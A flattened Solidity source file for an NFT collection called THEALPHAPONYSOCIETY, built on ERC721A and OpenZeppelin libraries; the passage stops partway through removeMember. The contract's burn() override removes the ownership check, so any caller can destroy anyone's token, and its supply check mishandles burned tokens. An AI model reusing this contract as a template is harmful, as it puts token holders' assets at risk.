{xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: contracts/ERC721A_Demo.sol // Creator: Chiru Labs pragma solidity ^0.8.4; error ApprovalCallerNotOwnerNorApproved(); error ApprovalQueryForNonexistentToken(); error ApproveToCaller(); error ApprovalToCurrentOwner(); error BalanceQueryForZeroAddress(); error MintedQueryForZeroAddress(); error BurnedQueryForZeroAddress(); error AuxQueryForZeroAddress(); error MintToZeroAddress(); error MintZeroQuantity(); error OwnerIndexOutOfBounds(); error OwnerQueryForNonexistentToken(); error TokenIndexOutOfBounds(); error TransferCallerNotOwnerNorApproved(); error TransferFromIncorrectOwner(); error TransferToNonERC721ReceiverImplementer(); error TransferToZeroAddress(); error URIQueryForNonexistentToken(); /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply. * * Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Compiler will pack this into a single 256bit word. struct TokenOwnership { // The address of the owner. address addr; // Keeps track of the start time of ownership with minimal overhead for tokenomics. uint64 startTimestamp; // Whether the token has been burned. bool burned; } // Compiler will pack this into a single 256bit word. struct AddressData { // Realistically, 2**64-1 is more than enough. uint64 balance; // Keeps track of mint count with minimal overhead for tokenomics. uint64 numberMinted; // Keeps track of burn count with minimal overhead for tokenomics. uint64 numberBurned; // For miscellaneous variable(s) pertaining to the address // (e.g. number of whitelist mint slots used). // If there are multiple variables, please pack them into a uint64. uint64 aux; } // The tokenId of the next token to be minted. uint256 internal _currentIndex; // The number of tokens burned. uint256 internal _burnCounter; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view returns (uint256) { // Counter underflow is impossible as _burnCounter cannot be incremented // more than _currentIndex times unchecked { return _currentIndex - _burnCounter; } } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { if (owner == address(0)) revert BalanceQueryForZeroAddress(); return uint256(_addressData[owner].balance); } /** * Returns the number of tokens minted by `owner`. */ function _numberMinted(address owner) internal view returns (uint256) { if (owner == address(0)) revert MintedQueryForZeroAddress(); return uint256(_addressData[owner].numberMinted); } /** * Returns the number of tokens burned by or on behalf of `owner`. */ function _numberBurned(address owner) internal view returns (uint256) { if (owner == address(0)) revert BurnedQueryForZeroAddress(); return uint256(_addressData[owner].numberBurned); } /** * Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used). */ function _getAux(address owner) internal view returns (uint64) { if (owner == address(0)) revert AuxQueryForZeroAddress(); return _addressData[owner].aux; } /** * Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used). * If there are multiple variables, please pack them into a uint64. */ function _setAux(address owner, uint64 aux) internal { if (owner == address(0)) revert AuxQueryForZeroAddress(); _addressData[owner].aux = aux; } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } // Invariant: // There will always be an ownership that has an address and is not burned // before an ownership that does not have an address and is not burned. // Hence, curr will not underflow. while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert OwnerQueryForNonexistentToken(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ''; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); if (to == owner) revert ApprovalToCurrentOwner(); if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) { revert ApprovalCallerNotOwnerNorApproved(); } _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken(); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { if (operator == _msgSender()) revert ApproveToCaller(); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ''); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { _transfer(from, to, tokenId); if (!_checkOnERC721Received(from, to, tokenId, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < _currentIndex && !_ownerships[tokenId].burned; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ''); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { _mint(to, quantity, _data, true); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1 // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; for (uint256 i; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); if (safe && !_checkOnERC721Received(address(0), to, updatedIndex, _data)) { revert TransferToNonERC721ReceiverImplementer(); } updatedIndex++; } _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || isApprovedForAll(prevOwnership.addr, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); if (prevOwnership.addr != from) revert TransferFromIncorrectOwner(); if (to == address(0)) revert TransferToZeroAddress(); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId].addr = to; _ownerships[tokenId].startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId < _currentIndex) { _ownerships[nextTokenId].addr = prevOwnership.addr; _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { TokenOwnership memory prevOwnership = ownershipOf(tokenId); _beforeTokenTransfers(prevOwnership.addr, address(0), tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[prevOwnership.addr].balance -= 1; _addressData[prevOwnership.addr].numberBurned += 1; // Keep track of who burned the token, and the timestamp of burning. _ownerships[tokenId].addr = prevOwnership.addr; _ownerships[tokenId].startTimestamp = uint64(block.timestamp); _ownerships[tokenId].burned = true; // If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId < _currentIndex) { _ownerships[nextTokenId].addr = prevOwnership.addr; _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(prevOwnership.addr, address(0), tokenId); _afterTokenTransfers(prevOwnership.addr, address(0), tokenId, 1); // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times. unchecked { _burnCounter++; } } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert TransferToNonERC721ReceiverImplementer(); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * And also called before burning one token. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * And also called after one token has been burned. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been * transferred to `to`. * - When `from` is zero, `tokenId` has been minted for `to`. * - When `to` is zero, `tokenId` has been burned by `from`. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/security/ReentrancyGuard.sol pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } pragma solidity ^0.8.4; /** * @title ERC721A Burnable Token * @dev ERC721A Token that can be irreversibly burned (destroyed). */ abstract contract ERC721ABurnable is Context, ERC721A { /** * @dev Burns `tokenId`. See {ERC721A-_burn}. * * Requirements: * * - The caller must own `tokenId` or be an approved operator. */ function burn(uint256 tokenId) public virtual { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || isApprovedForAll(prevOwnership.addr, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); _burn(tokenId); } } // Smart Contract -- Coded By ShAj contract THEALPHAPONYSOCIETY is ERC721ABurnable, Ownable, ReentrancyGuard { using Strings for uint256; // Variables string baseURI; string public baseExtension = ".json"; // Base extension of metadata file uint256 public cost = 0.1 ether; // Cost of each NFT uint256 public maxSupply = 10000; // Max amount of NFTs that can be minted in total uint256 public maxMintAmount = 3; // Max amount to be minted at once bool public paused = false; // Contract paused when deployed bool public revealed = false; // NFT collection revealed when deployed string public notRevealedUri; // URI for placeholder image uint256 public nftPerAddressLimit = 100; // Maximum NFTs mintable on one wallet bool public onlyWhitelisted = true; // Whitelist address minting only mapping(address => bool) members; event MemberAdded(address member); event MemberRemoved(address member); mapping(address => uint256) public addressMintedBalance; uint256 totalBurned = 0; // Constructor constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _initNotRevealedUri, address[] memory _members ) ERC721A(_name, _symbol) { for (uint256 i = 0; i < _members.length; i++) { members[_members[i]] = true; } setBaseURI(_initBaseURI); setNotRevealedURI(_initNotRevealedUri); } // Internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // Public // Minting Function function mint(uint256 _mintAmount) public payable { uint256 supply = totalSupply(); require(!paused, "The contract is paused."); if (onlyWhitelisted == true) { require( isMember(msg.sender), "Your wallet address is not yet whitelisted." ); } require(_mintAmount > 0, "Need to mint at least 1 NFT."); require(_mintAmount <= maxMintAmount, "Max mint amount per session exceeded."); if (totalBurned == 0){ require(supply + _mintAmount <= maxSupply, "Max NFT limit exceeded."); } else{ require(supply + totalBurned - 1 + _mintAmount <= maxSupply, "Max NFT limit exceeded."); } uint256 ownerMintedCount = addressMintedBalance[msg.sender]; require(ownerMintedCount + _mintAmount <= nftPerAddressLimit, "Max NFT per address exceeded."); if (msg.sender != owner()) { require(msg.value >= cost * _mintAmount, "Insufficient funds."); } for (uint256 i = 1; i <= _mintAmount; i++) { addressMintedBalance[msg.sender]++; } _safeMint(msg.sender, _mintAmount); } // Burn function burn(uint256 tokenId) public override { totalBurned++; _burn(tokenId); } // Checks if wallet address is whitelisted or not function isMember(address _member) public view returns (bool) { return members[_member]; } // Returns token URI against a specific token ID function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if (revealed == false) { return notRevealedUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string( abi.encodePacked( currentBaseURI, tokenId.toString(), baseExtension ) ) : ""; } // Update NFT price function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } // Update Max Supply function setmaxSupply(uint256 _newmaxSupply) public onlyOwner { maxSupply = _newmaxSupply; } // Update maximum amount of NFTs that can be minted at once. function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner { maxMintAmount = _newmaxMintAmount; } // Update not revealed/placeholder image URI function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } // Update original image URI function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } // Update extension for metadata file function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } // Pause smart contract to stop minting function pause(bool _state) public onlyOwner { paused = _state; } // Reveals original NFTs for minted and non-minted NFTs function setRevealed(bool _state) public onlyOwner { revealed = _state; } // Sets whether whitelisted wallets can mint only function setOnlyWhitelisted(bool _state) public onlyOwner { onlyWhitelisted = _state; } // Updates maximum numbers of NFTs per wallet function setNftPerAddressLimit(uint256 _limit) public onlyOwner { nftPerAddressLimit = _limit; } // Adds wallet address to whitelist function addMember(address _member) public onlyOwner { require(!isMember(_member), "Wallet address is already whitelisted."); members[_member] = true; emit MemberAdded(_member); } // Removes wallet address from whitelist function removeMember(address _member) public onlyOwner { 